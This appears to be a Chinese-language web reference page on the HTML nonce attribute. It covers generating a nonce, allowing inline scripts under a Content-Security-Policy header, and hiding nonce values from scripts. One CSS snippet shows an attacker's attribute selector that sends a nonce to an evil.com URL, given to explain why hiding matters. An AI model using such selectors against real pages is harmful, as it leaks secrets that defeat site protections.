nonce
描述
使用 nonce 将 <script> 元素列入白名单
使用 nonce 机制将内联脚本列入白名单涉及几个步骤
生成值
从您的 Web 服务器生成一个至少 128 位数据的随机 Base64 编码字符串,该字符串来自加密安全的随机数生成器。每次页面加载时,都应以不同的方式生成 Nonce(Nonce 只使用一次!)。例如,在 nodejs 中
js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
将内联脚本列入白名单
您在后端代码中生成的 nonce 现在应用于您要列入白名单的内联脚本
html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
// …
</script>
使用 CSP 标头发送 nonce
最后,您需要在 Content-Security-Policy
标头中发送 nonce 值(在前面加上 nonce-
)
http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
访问 nonce 和 nonce 隐藏
出于安全原因,nonce
内容属性是隐藏的(将返回空字符串)。
js
script.getAttribute("nonce"); // returns empty string
nonce
属性是访问 nonce 的唯一方法
js
script.nonce; // returns nonce value
Nonce 隐藏有助于防止攻击者通过可以从内容属性中获取数据的机制来泄露 nonce 数据
css
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
规范
规范 |
---|
HTML 标准 # attr-nonce |
浏览器兼容性
BCD 表格仅在启用 JavaScript 的浏览器中加载。